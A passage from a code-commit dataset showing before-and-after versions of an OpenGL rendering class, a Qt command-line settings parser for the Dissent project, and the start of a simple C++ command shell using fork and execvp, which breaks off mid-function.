0);\n free(imageData);\n \n checkGlError(\"AddTexture\");\n textures.push_back(texName);\n}\n\nvoid RenderObject::RenderFrame() {\n\n if(numVertices == 0) {\n LOGE(\"Setup not yet called.\");\n return;\n }\n \n glUseProgram(gProgram);\n checkGlError(\"glUseProgram\");\n \n \/\/ Matrices setup\n GLfloat* mv_Matrix = (GLfloat*)mvMatrix();\n GLfloat* mvp_Matrix = (GLfloat*)mvpMatrix();\n \n glUniformMatrix4fv(gmvMatrixHandle, 1, GL_FALSE, mv_Matrix);\n glUniformMatrix4fv(gmvpMatrixHandle, 1, GL_FALSE, mvp_Matrix);\n checkGlError(\"glUniformMatrix4fv\");\n delete mv_Matrix;\n delete mvp_Matrix;\n \n glBindBuffer(GL_ARRAY_BUFFER, gVertexBuffer);\n \n \/\/ Vertices\n glEnableVertexAttribArray(gvPositionHandle);\n glVertexAttribPointer(gvPositionHandle, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid*) 0);\n checkGlError(\"gvPositionHandle\");\n \n \/\/ Normals\n glEnableVertexAttribArray(gvNormals);\n glVertexAttribPointer(gvNormals, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid*) (3 * sizeof(GLfloat)));\n checkGlError(\"gvNormals\");\n \n \/\/Textures\n glEnableVertexAttribArray(gvTexCoords);\n glVertexAttribPointer(gvTexCoords, 2, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid *) (6 * sizeof(GLfloat)));\n checkGlError(\"gvTexCoords\");\n \n if (textures.size() > 0) {\n\n glActiveTexture(GL_TEXTURE0);\n glBindTexture(GL_TEXTURE_2D, textures[0]);\n glUniform1i(textureUniform, 0);\n checkGlError(\"texture\");\n }\n \n glDrawArrays(GL_TRIANGLES, 0, numVertices);\n checkGlError(\"glDrawArrays\");\n \n glBindBuffer(GL_ARRAY_BUFFER, 0);\n}\n<commit_msg>Minor bug fix.<commit_after>\/\/ RenderObject.cpp\n\/\/ nativeGraphics\n\n#include \"RenderObject.h\"\n#include \"glsl_helper.h\"\n#include \"obj_parser.h\"\n#include \"transform.h\"\n#include \"common.h\"\n#include \"log.h\"\n\nRenderObject::RenderObject(const char *objFilename, const char *vertexShaderFilename, const char *fragmentShaderFilename) {\n \n \/\/ Parse obj file into an interleaved float buffer\n GLfloat * interleavedBuffer = getInterleavedBuffer((char *)resourceCallback(objFilename), numVertices, true, true);\n glGenBuffers(1, &gVertexBuffer);\n glBindBuffer(GL_ARRAY_BUFFER, gVertexBuffer);\n glBufferData(GL_ARRAY_BUFFER, numVertices * (3+3+2) * sizeof(float), interleavedBuffer, GL_STATIC_DRAW);\n glBindBuffer(GL_ARRAY_BUFFER, 0);\n checkGlError(\"VertexBuffer Generation\");\n free(interleavedBuffer);\n \n \/\/ Compile and link shader program\n gProgram = createProgram((char *)resourceCallback(vertexShaderFilename), (char *)resourceCallback(fragmentShaderFilename));\n \n \/\/ Get uniform and attrib locations\n gmvMatrixHandle = glGetUniformLocation(gProgram, \"u_MVMatrix\");\n gmvpMatrixHandle = glGetUniformLocation(gProgram, \"u_MVPMatrix\");\n gvPositionHandle = glGetAttribLocation(gProgram, \"a_Position\");\n gvNormals = glGetAttribLocation(gProgram, \"a_Normal\");\n gvTexCoords = glGetAttribLocation(gProgram, \"a_TexCoordinate\");\n textureUniform = glGetUniformLocation(gProgram, \"u_Texture\");\n checkGlError(\"glGetAttribLocation\");\n}\n\nvoid RenderObject::AddTexture(const char *textureFilename) {\n \/\/ Load textures\n GLubyte *imageData = (GLubyte *)resourceCallback(textureFilename);\n \n GLuint texName; \/\/ TODO\n glGenTextures(1, &texName);\n glBindTexture(GL_TEXTURE_2D, texName);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1024, 1024, 0, GL_RGBA, GL_UNSIGNED_BYTE, imageData); \/\/ TODO: hardcoded size\n\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n glGenerateMipmap(GL_TEXTURE_2D);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\n \n glBindTexture(GL_TEXTURE_2D, 0);\n free(imageData);\n \n checkGlError(\"AddTexture\");\n textures.push_back(texName);\n}\n\nvoid RenderObject::RenderFrame() {\n\n if(numVertices == 0) {\n LOGE(\"Setup not yet called.\");\n return;\n }\n \n glUseProgram(gProgram);\n checkGlError(\"glUseProgram\");\n \n \/\/ Matrices setup\n GLfloat* mv_Matrix = (GLfloat*)mvMatrix();\n GLfloat* mvp_Matrix = (GLfloat*)mvpMatrix();\n \n glUniformMatrix4fv(gmvMatrixHandle, 1, GL_FALSE, mv_Matrix);\n glUniformMatrix4fv(gmvpMatrixHandle, 1, GL_FALSE, mvp_Matrix);\n checkGlError(\"glUniformMatrix4fv\");\n delete mv_Matrix;\n delete mvp_Matrix;\n \n glBindBuffer(GL_ARRAY_BUFFER, gVertexBuffer);\n \n \/\/ Vertices\n glEnableVertexAttribArray(gvPositionHandle);\n glVertexAttribPointer(gvPositionHandle, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid*) 0);\n checkGlError(\"gvPositionHandle\");\n \n \/\/ Normals\n glEnableVertexAttribArray(gvNormals);\n glVertexAttribPointer(gvNormals, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid*) (3 * sizeof(GLfloat)));\n checkGlError(\"gvNormals\");\n \n \/\/Textures\n if(textures.size() > 0) {\n \tglEnableVertexAttribArray(gvTexCoords);\n \tglVertexAttribPointer(gvTexCoords, 2, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (const GLvoid *) (6 * sizeof(GLfloat)));\n \tcheckGlError(\"gvTexCoords\");\n\n glActiveTexture(GL_TEXTURE0);\n glBindTexture(GL_TEXTURE_2D, textures[0]);\n glUniform1i(textureUniform, 0);\n checkGlError(\"texture\");\n }\n \n glDrawArrays(GL_TRIANGLES, 0, numVertices);\n checkGlError(\"glDrawArrays\");\n \n glBindBuffer(GL_ARRAY_BUFFER, 0);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Utils\/Logging.hpp\"\n\n#include \"Settings.hpp\"\n\nusing Dissent::Utils::Logging;\n\nnamespace Dissent {\nnamespace Applications {\n Settings::Settings(const QString &file, bool actions) :\n _use_file(true),\n _settings(new QSettings(file, QSettings::IniFormat))\n {\n Init(actions);\n }\n\n Settings::Settings() :\n _use_file(false),\n _settings(new QSettings())\n {\n Init();\n }\n\n Settings::Settings(const QSharedPointer<QSettings> &settings,\n bool file, bool actions) :\n _use_file(file),\n _settings(settings)\n {\n Init(actions);\n }\n\n void Settings::Init(bool actions)\n {\n if(_settings->value(\"help\", false).toBool()) {\n Help = true;\n return;\n }\n Help = false;\n\n Console = false;\n EntryTunnel = false;\n ExitTunnel = false;\n LeaderId = Id::Zero();\n LocalId = Id::Zero();\n LocalNodeCount = 1;\n SessionType = \"null\";\n WebServer = false;\n\n QVariant peers = _settings->value(Param<Params::RemotePeers>());\n ParseUrlList(\"RemotePeer\", peers, RemotePeers);\n\n QVariant endpoints = _settings->value(Param<Params::LocalEndPoints>());\n ParseUrlList(\"EndPoint\", endpoints, LocalEndPoints);\n\n DemoMode = _settings->value(Param<Params::DemoMode>()).toBool();\n\n if(_settings->contains(Param<Params::LocalNodeCount>())) {\n LocalNodeCount = _settings->value(Param<Params::LocalNodeCount>()).toInt();\n }\n\n Console = _settings->value(Param<Params::Console>()).toBool();\n WebServer = _settings->value(Param<Params::WebServer>()).toBool();\n EntryTunnel = _settings->value(Param<Params::EntryTunnel>()).toBool();\n ExitTunnel = _settings->value(Param<Params::ExitTunnel>()).toBool();\n Multithreading = _settings->value(Param<Params::Multithreading>()).toBool();\n\n WebServerUrl = TryParseUrl(_settings->value(Param<Params::WebServerUrl>()).toString(), \"http\");\n EntryTunnelUrl = TryParseUrl(_settings->value(Param<Params::EntryTunnelUrl>()).toString(), \"tcp\");\n\n if(_settings->contains(Param<Params::SessionType>())) {\n SessionType = _settings->value(Param<Params::SessionType>()).toString();\n }\n\n if(_settings->contains(Param<Params::SubgroupPolicy>())) {\n QString ptype = _settings->value(Param<Params::SubgroupPolicy>()).toString();\n SubgroupPolicy = Group::StringToPolicyType(ptype);\n }\n\n if(_settings->contains(Param<Params::Log>())) {\n Log = _settings->value(Param<Params::Log>()).toString();\n QString lower = Log.toLower();\n\n if(actions) {\n if(lower == \"stderr\") {\n Logging::UseStderr();\n } else if(lower == \"stdout\") {\n Logging::UseStdout();\n } else if(Log.isEmpty()) {\n Logging::Disable();\n } else {\n Logging::UseFile(Log);\n }\n }\n }\n\n if(_settings->contains(Param<Params::LocalId>())) {\n LocalId = Id(_settings->value(Param<Params::LocalId>()).toString());\n }\n\n if(_settings->contains(Param<Params::LeaderId>())) {\n LeaderId = Id(_settings->value(Param<Params::LeaderId>()).toString());\n }\n\n if(_settings->contains(Param<Params::SuperPeer>())) {\n SuperPeer = _settings->value(Param<Params::SuperPeer>()).toBool();\n }\n }\n\n bool Settings::IsValid()\n {\n if(_use_file && (_settings->status() != QSettings::NoError)) {\n _reason = \"File error\";\n return false;\n }\n\n if(LocalEndPoints.count() == 0) {\n _reason = \"No locally defined end points\";\n return false;\n }\n\n if(WebServer && (!WebServerUrl.isValid() || WebServerUrl.isEmpty())) {\n _reason = \"Invalid WebServerUrl: \" + WebServerUrl.toString();\n return false;\n }\n\n if(EntryTunnel && (!EntryTunnelUrl.isValid() || EntryTunnelUrl.isEmpty())) {\n _reason = \"Invalid EntryTunnelUrl: \" + EntryTunnelUrl.toString();\n return false;\n }\n\n if(LeaderId == Id::Zero()) {\n _reason = \"No leader Id\";\n return false;\n }\n\n if(SubgroupPolicy == -1) {\n _reason = \"Invalid subgroup policy\";\n return false;\n }\n\n return true;\n }\n\n QString Settings::GetError()\n {\n IsValid();\n return _reason;\n }\n\n void Settings::ParseUrlList(const QString &name, const QVariant &values,\n QList<QUrl> &list)\n {\n if(values.isNull()) {\n return;\n }\n\n QVariantList varlist = values.toList();\n if(!varlist.empty()) {\n foreach(QVariant value, varlist) {\n ParseUrl(name, value, list);\n }\n } else {\n ParseUrl(name, values, list);\n }\n }\n\n inline void Settings::ParseUrl(const QString &name, const QVariant &value,\n QList<QUrl> &list)\n {\n QUrl url(value.toString());\n if(url.isValid()) {\n list << url;\n } else {\n qCritical() << \"Invalid \" << name << \": \" << value.toString();\n }\n }\n\n QUrl Settings::TryParseUrl(const QString &string_rep, const QString &scheme)\n {\n QUrl url = QUrl(string_rep);\n if(url.toString() != string_rep) {\n return QUrl();\n }\n\n if(url.scheme() != scheme) {\n return QUrl();\n }\n return url;\n }\n\n void Settings::Save()\n {\n if(!_use_file) {\n return;\n }\n\n QStringList peers;\n foreach(QUrl peer, RemotePeers) {\n peers << peer.toString();\n }\n\n if(!peers.empty()) {\n _settings->setValue(Param<Params::RemotePeers>(), peers);\n }\n\n QStringList endpoints;\n foreach(QUrl endpoint, LocalEndPoints) {\n endpoints << endpoint.toString();\n }\n\n if(!endpoints.empty()) {\n _settings->setValue(Param<Params::LocalEndPoints>(), endpoints);\n }\n\n _settings->setValue(Param<Params::LocalNodeCount>(), LocalNodeCount);\n _settings->setValue(Param<Params::WebServer>(), WebServer);\n _settings->setValue(Param<Params::WebServerUrl>(), WebServerUrl);\n _settings->setValue(Param<Params::Console>(), Console);\n _settings->setValue(Param<Params::DemoMode>(), DemoMode);\n _settings->setValue(Param<Params::Log>(), Log);\n _settings->setValue(Param<Params::Multithreading>(), Multithreading);\n _settings->setValue(Param<Params::LocalId>(), LocalId.ToString());\n _settings->setValue(Param<Params::LeaderId>(), LeaderId.ToString());\n _settings->setValue(Param<Params::SubgroupPolicy>(),\n Group::PolicyTypeToString(SubgroupPolicy));\n }\n\n Settings Settings::CommandLineParse(const QStringList ¶ms, bool actions)\n {\n QSharedPointer<QxtCommandOptions> options = GetOptions();\n options->parse(params);\n QSharedPointer<QSettings> settings;\n bool file = (options->positional().count() > 0);\n\n if(file) {\n settings = QSharedPointer<QSettings>(\n new QSettings(options->positional()[0], QSettings::IniFormat));\n } else {\n settings = QSharedPointer<QSettings>(new QSettings());\n if(params.size() == 1) {\n settings->setValue(\"help\", true);\n }\n }\n\n QMultiHash<QString, QVariant> kv_params = options->parameters();\n\n if(kv_params.value(\"help\", false).toBool() && file) {\n file = false;\n settings = QSharedPointer<QSettings>(new QSettings());\n }\n\n foreach(const QString &key, kv_params.uniqueKeys()) {\n if(options->value(key).type() == QVariant::String &&\n options->value(key).toString().isEmpty())\n {\n settings->setValue(key, true);\n } else {\n settings->setValue(key, options->value(key));\n }\n }\n\n if(options->count(Param<Params::WebServerUrl>()) == 1) {\n settings->setValue(Param<Params::WebServer>(), true);\n }\n\n if(options->count(Param<Params::EntryTunnelUrl>()) == 1) {\n settings->setValue(Param<Params::EntryTunnel>(), true);\n }\n\n return Settings(settings, file, actions);\n }\n\n QSharedPointer<QxtCommandOptions> Settings::GetOptions()\n {\n QSharedPointer<QxtCommandOptions> options(new QxtCommandOptions());\n\n options->add(Param<Params::Help>(),\n \"help (this screen)\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::RemotePeers>(),\n \"list of remote peers\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalEndPoints>(),\n \"list of local end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalNodeCount>(),\n \"number of virtual nodes to start\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::DemoMode>(),\n \"start in demo mode\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::SessionType>(),\n \"the type of session\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Log>(),\n \"logging mechanism\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Console>(),\n \"enable console\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::WebServerUrl>(),\n \"web server url (enables web server)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::EntryTunnelUrl>(),\n \"entry tunnel url (enables entry tunnel)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::ExitTunnel>(),\n \"enables exit tunnel\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::Multithreading>(),\n \"enables multithreading\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::LocalId>(),\n \"160-bit base64 local id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::LeaderId>(),\n \"160-bit base64 leader id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::SubgroupPolicy>(),\n \"subgroup policy (defining servers)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::SuperPeer>(),\n \"sets this peer as a capable super peer\",\n QxtCommandOptions::NoValue);\n\n return options;\n }\n}\n}\n<commit_msg>[Applications] settings log<commit_after>#include \"Utils\/Logging.hpp\"\n\n#include \"Settings.hpp\"\n\nusing Dissent::Utils::Logging;\n\nnamespace Dissent {\nnamespace Applications {\n Settings::Settings(const QString &file, bool actions) :\n _use_file(true),\n _settings(new QSettings(file, QSettings::IniFormat))\n {\n Init(actions);\n }\n\n Settings::Settings() :\n _use_file(false),\n _settings(new QSettings())\n {\n Init();\n }\n\n Settings::Settings(const QSharedPointer<QSettings> &settings,\n bool file, bool actions) :\n _use_file(file),\n _settings(settings)\n {\n Init(actions);\n }\n\n void Settings::Init(bool actions)\n {\n if(_settings->value(\"help\", false).toBool()) {\n Help = true;\n return;\n }\n Help = false;\n\n Console = false;\n EntryTunnel = false;\n ExitTunnel = false;\n LeaderId = Id::Zero();\n LocalId = Id::Zero();\n LocalNodeCount = 1;\n SessionType = \"null\";\n WebServer = false;\n\n QVariant peers = _settings->value(Param<Params::RemotePeers>());\n ParseUrlList(\"RemotePeer\", peers, RemotePeers);\n\n QVariant endpoints = _settings->value(Param<Params::LocalEndPoints>());\n ParseUrlList(\"EndPoint\", endpoints, LocalEndPoints);\n\n DemoMode = _settings->value(Param<Params::DemoMode>()).toBool();\n\n if(_settings->contains(Param<Params::LocalNodeCount>())) {\n LocalNodeCount = _settings->value(Param<Params::LocalNodeCount>()).toInt();\n }\n\n Console = _settings->value(Param<Params::Console>()).toBool();\n WebServer = _settings->value(Param<Params::WebServer>()).toBool();\n EntryTunnel = _settings->value(Param<Params::EntryTunnel>()).toBool();\n ExitTunnel = _settings->value(Param<Params::ExitTunnel>()).toBool();\n Multithreading = _settings->value(Param<Params::Multithreading>()).toBool();\n\n WebServerUrl = TryParseUrl(_settings->value(Param<Params::WebServerUrl>()).toString(), \"http\");\n EntryTunnelUrl = TryParseUrl(_settings->value(Param<Params::EntryTunnelUrl>()).toString(), \"tcp\");\n\n if(_settings->contains(Param<Params::SessionType>())) {\n SessionType = _settings->value(Param<Params::SessionType>()).toString();\n }\n\n if(_settings->contains(Param<Params::SubgroupPolicy>())) {\n QString ptype = _settings->value(Param<Params::SubgroupPolicy>()).toString();\n SubgroupPolicy = Group::StringToPolicyType(ptype);\n }\n\n if(_settings->contains(Param<Params::Log>())) {\n Log = _settings->value(Param<Params::Log>()).toString();\n QString lower = Log.toLower();\n\n if(actions) {\n if(lower == \"stderr\") {\n Logging::UseStderr();\n } else if(lower == \"stdout\") {\n Logging::UseStdout();\n } else if(Log.isEmpty()) {\n Logging::Disable();\n } else {\n Logging::UseFile(Log);\n }\n }\n }\n\n if(_settings->contains(Param<Params::LocalId>())) {\n LocalId = Id(_settings->value(Param<Params::LocalId>()).toString());\n }\n\n if(_settings->contains(Param<Params::LeaderId>())) {\n LeaderId = Id(_settings->value(Param<Params::LeaderId>()).toString());\n }\n\n if(_settings->contains(Param<Params::SuperPeer>())) {\n SuperPeer = _settings->value(Param<Params::SuperPeer>()).toBool();\n }\n }\n\n bool Settings::IsValid()\n {\n if(_use_file && (_settings->status() != QSettings::NoError)) {\n _reason = \"File error\";\n return false;\n }\n\n if(LocalEndPoints.count() == 0) {\n _reason = \"No locally defined end points\";\n return false;\n }\n\n if(WebServer && (!WebServerUrl.isValid() || WebServerUrl.isEmpty())) {\n _reason = \"Invalid WebServerUrl: \" + WebServerUrl.toString();\n return false;\n }\n\n if(EntryTunnel && (!EntryTunnelUrl.isValid() || EntryTunnelUrl.isEmpty())) {\n _reason = \"Invalid EntryTunnelUrl: \" + EntryTunnelUrl.toString();\n return false;\n }\n\n if(LeaderId == Id::Zero()) {\n _reason = \"No leader Id\";\n return false;\n }\n\n if(SubgroupPolicy == -1) {\n _reason = \"Invalid subgroup policy\";\n return false;\n }\n\n return true;\n }\n\n QString Settings::GetError()\n {\n IsValid();\n return _reason;\n }\n\n void Settings::ParseUrlList(const QString &name, const QVariant &values,\n QList<QUrl> &list)\n {\n if(values.isNull()) {\n return;\n }\n\n QVariantList varlist = values.toList();\n if(!varlist.empty()) {\n foreach(QVariant value, varlist) {\n ParseUrl(name, value, list);\n }\n } else {\n ParseUrl(name, values, list);\n }\n }\n\n inline void Settings::ParseUrl(const QString &name, const QVariant &value,\n QList<QUrl> &list)\n {\n QUrl url(value.toString());\n if(url.isValid()) {\n list << url;\n } else {\n qCritical() << \"Invalid \" << name << \": \" << value.toString();\n }\n }\n\n QUrl Settings::TryParseUrl(const QString &string_rep, const QString &scheme)\n {\n QUrl url = QUrl(string_rep);\n if(url.toString() != string_rep) {\n return QUrl();\n }\n\n if(url.scheme() != scheme) {\n return QUrl();\n }\n return url;\n }\n\n void Settings::Save()\n {\n if(!_use_file) {\n return;\n }\n\n QStringList peers;\n foreach(QUrl peer, RemotePeers) {\n peers << peer.toString();\n }\n\n if(!peers.empty()) {\n _settings->setValue(Param<Params::RemotePeers>(), peers);\n }\n\n QStringList endpoints;\n foreach(QUrl endpoint, LocalEndPoints) {\n endpoints << endpoint.toString();\n }\n\n if(!endpoints.empty()) {\n _settings->setValue(Param<Params::LocalEndPoints>(), endpoints);\n }\n\n _settings->setValue(Param<Params::LocalNodeCount>(), LocalNodeCount);\n _settings->setValue(Param<Params::WebServer>(), WebServer);\n _settings->setValue(Param<Params::WebServerUrl>(), WebServerUrl);\n _settings->setValue(Param<Params::Console>(), Console);\n _settings->setValue(Param<Params::DemoMode>(), DemoMode);\n _settings->setValue(Param<Params::Log>(), Log);\n _settings->setValue(Param<Params::Multithreading>(), Multithreading);\n _settings->setValue(Param<Params::LocalId>(), LocalId.ToString());\n _settings->setValue(Param<Params::LeaderId>(), LeaderId.ToString());\n _settings->setValue(Param<Params::SubgroupPolicy>(),\n Group::PolicyTypeToString(SubgroupPolicy));\n }\n\n Settings Settings::CommandLineParse(const QStringList ¶ms, bool actions)\n {\n QSharedPointer<QxtCommandOptions> options = GetOptions();\n options->parse(params);\n QSharedPointer<QSettings> settings;\n bool file = (options->positional().count() > 0);\n\n if(file) {\n settings = QSharedPointer<QSettings>(\n new QSettings(options->positional()[0], QSettings::IniFormat));\n } else {\n settings = QSharedPointer<QSettings>(new QSettings());\n if(params.size() == 1) {\n settings->setValue(\"help\", true);\n }\n }\n\n QMultiHash<QString, QVariant> kv_params = options->parameters();\n\n if(kv_params.value(\"help\", false).toBool() && file) {\n file = false;\n settings = QSharedPointer<QSettings>(new QSettings());\n }\n\n foreach(const QString &key, kv_params.uniqueKeys()) {\n if(options->value(key).type() == QVariant::String &&\n options->value(key).toString().isEmpty())\n {\n settings->setValue(key, true);\n } else {\n settings->setValue(key, options->value(key));\n }\n }\n\n if(options->count(Param<Params::WebServerUrl>()) == 1) {\n settings->setValue(Param<Params::WebServer>(), true);\n }\n\n if(options->count(Param<Params::EntryTunnelUrl>()) == 1) {\n settings->setValue(Param<Params::EntryTunnel>(), true);\n }\n\n return Settings(settings, file, actions);\n }\n\n QSharedPointer<QxtCommandOptions> Settings::GetOptions()\n {\n QSharedPointer<QxtCommandOptions> options(new QxtCommandOptions());\n\n options->add(Param<Params::Help>(),\n \"help (this screen)\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::RemotePeers>(),\n \"list of remote peers\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalEndPoints>(),\n \"list of local end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalNodeCount>(),\n \"number of virtual nodes to start\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::DemoMode>(),\n \"start in demo mode\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::SessionType>(),\n \"the type of session\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Log>(),\n \"logging mechanism: stderr, stdout, or a file path\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Console>(),\n \"enable console\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::WebServerUrl>(),\n \"web server url (enables web server)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::EntryTunnelUrl>(),\n \"entry tunnel url (enables entry tunnel)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::ExitTunnel>(),\n \"enables exit tunnel\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::Multithreading>(),\n \"enables multithreading\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::LocalId>(),\n \"160-bit base64 local id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::LeaderId>(),\n \"160-bit base64 leader id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::SubgroupPolicy>(),\n \"subgroup policy (defining servers)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::SuperPeer>(),\n \"sets this peer as a capable super peer\",\n QxtCommandOptions::NoValue);\n\n return options;\n }\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <stdio.h>\n#include <ctype.h>\n#include <cstring>\n#include <vector>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <stdlib.h>\n#include <sys\/wait.h>\nusing namespace std;\n\n\/\/parses the entered command putting each string seperated\n\/\/by spaces into a vector passed in by reference\n\/\/the function utilizes strtok to do this\nvoid parse(char x[], vector<string> &v){\n char* tmp;\n \/\/separates the string by spaces\n tmp = strtok(x, \" \");\n while(tmp != NULL){\n \/\/stores in the vector\n v.push_back(tmp);\n \/\/searches for the next \" \" character\n tmp = strtok(NULL, \" \");\n }\n}\n\n\/\/the function returns false if the command passed in\n\/\/is \"exit\" or any spaced variation of it.\n\/\/returnd false otherwise\nbool isExit(char x[]){\n \/\/sets up vars necessary for comparison\n string tmp = x;\n string hold = \"exit\";\n char spc = ' ';\n unsigned int k = 0;\n\n \/\/if the size of the passed in char[] is less than that\n \/\/necessary for it to be exit return false\n if(tmp.size() < hold.size()){\n return false;\n }\n\n \/\/check each non-space character if within the first\n \/\/four characters any of the characters dont align with \"exit\" return false\n \/\/otherwise count how many more characters there are in the passed in string\n \/\/if there are more than 4 return false otherwise return true\n \/\/if a space appears when k is > 0 but < 4 return false, this prevents\n \/\/bugs like \"exi t\" from working\n for(unsigned int i = 0; i < tmp.size(); i++){\n if(tmp.at(i) != spc){\n if(k < hold.size() && tmp.at(i) != hold.at(k)){\n return false;\n }\n k++;\n }\n else if(k > 0 && k < hold.size()){\n return false;\n }\n }\n if(k != hold.size()){\n return false;\n }\n else{\n return true;\n }\n}\n\n\/\/traverses the entered list of commands\n\/\/and checks to see how many different kinds of\n\/\/connectors there are, if there are more than one\n\/\/it returns true else returns false\nbool multiConn(string x){\n int amp = 0;\n int ln = 0;\n int semi = 0;\n int total = 0;\n \/\/if any part of the string does not\n \/\/align with \"exit\" returns false, otherwise counts\n \/\/all characters after the passed in command\n for(unsigned int i = 0; i < x.size(); i++){\n if(x.at(i) == '&' && i != x.size()-1){\n if(x.at(i+1) == '&'){\n amp++;\n }\n }\n if(x.at(i) == '|' && i != x.size()-1){\n if(x.at(i+1) == '|'){\n ln++;\n }\n }\n if(x.at(i) == ';'){\n semi++;\n }\n\n }\n \/\/calculates the total amount of different connectors\n if(amp > 0){\n total++;\n }\n if(semi > 0){\n total++;\n }\n if(ln > 0){\n total++;\n }\n \/\/if more than one return true\n if(total > 1){\n cerr << \"Multiple connector types forbidden\" << endl;\n return true;\n }\n \/\/else false\n else{\n return false;\n }\n}\n\n\n\/\/the function searches for the '#' and\n\/\/removes anything after that character\nstring commentRemoval(string x){\n int comm = x.find('#');\n \/\/if no '#' is found return the entire string\n if(comm == -1){\n return x;\n }\n \/\/if the '#' is the first character return nothing\n else if(comm == 0){\n return \"\";\n }\n \/\/otherwise return every thing up to the '#'\n else{\n return x.substr(0, comm);\n }\n}\n\n\n\nbool isls(char x[]){\n string tmp = x;\n if(tmp.size() < 2){\n return false;\n }\n if(tmp.at(0) == 'l' && tmp.at(1) == 's'){\n return true;\n }\n return false;\n}\n\nbool multiCheck(string x, bool flags[]){\n string chk = \"alR\";\n for(unsigned int i = 1; i < x.size(); i++){\n if(chk.find(x.at(i)) < 0 || chk.find(x.at(i)) >= x.size()){\n return false;\n }\n else if(x.at(i) == 'a'){\n flags[0] = true;\n }\n else if(x.at(i) == 'l'){\n flags[1] = true;\n }\n else if(x.at(i) == 'R'){\n flags[2] = true;\n }\n }\n return true;\n}\n\nbool ls_parse(vector<string> cmd, bool flags[], vector<string> &files){\n if(cmd.size() < 0){\n return false;\n }\n if(cmd.at(0) != \"ls\"){\n return false;\n }\n for(unsigned int i = 1; i < cmd.size(); i++){\n if(cmd.at(i) == \"-a\"){\n flags[0] = true;\n }\n else if(cmd.at(i) == \"-l\"){\n flags[1] = true;\n }\n else if(cmd.at(i) == \"-R\"){\n flags[2] = true;\n }\n else if(cmd.at(i).at(0) == '-'){\n if(!multiCheck(cmd.at(i), flags)){\n return false;\n }\n }\n else{\n files.push_back(cmd.at(i));\n }\n }\n return true;\n}\n\n\/\/this function runs the command using fork and execvp\n\/\/and returns once all commands from the entered char[]\n\/\/have been executed\nvoid run(char str[]){\n\n \/\/needed to parse with strtok\n char* pch;\n\n \/\/holds the bool of if a command executed properly\n bool sucs = true;\n\n \/\/holds the return status of a fork\/execvp\n int status = 0;\n\n \/\/holds the connector used for the current list of comamnds\n string connector;\n\n \/\/holds a string version of the passed in char[] for later\n \/\/comparing\n string strz = str;\n\n \/\/the vector that holds the commands to be converted and executed\n vector<string> cmd;\n\n \/\/cbegins breaking the entered commands up by connector\n pch = strtok(str, \";\");\n\n \/\/if the command is empty return\n if(pch==NULL){\n return;\n }\n\n \/\/if using strtok with \";\" changed the strz\n \/\/set the connector to be \";\"\n else if(pch != strz){\n connector = \";\";\n }\n \/\/else if strz was unchanged use strtok with \"&&\"\n \/\/if this changes the string is NULL return\n \/\/of if strtok changed from the original value of strz set the connector\n if(pch == strz){\n pch = strtok(str, \"&&\");\n if(pch == NULL){\n return;\n }\n if(pch != strz){\n connector = \"&&\";\n }\n }\n \/\/repeat the above process but with \"||\" instead of \"&&\"\n if(pch == strz){\n pch = strtok(str, \"||\");\n if(pch == NULL){\n return;\n }\n if(pch != strz){\n connector = \"||\";\n }\n }\n\n \/\/if the pch is not NULL and is the exit command exit the programm\n if(pch != NULL && isExit(pch)){\n exit(0);\n }\n\n \/\/this while loop is where fork and execvp execute commands\n while(pch != NULL){\n\n if(isls(pch)){\n int pid = fork();\n if(pid == 0){\n bool flags[3];\n flags[0] = false;\n flags[1] = false;\n flags[2] = 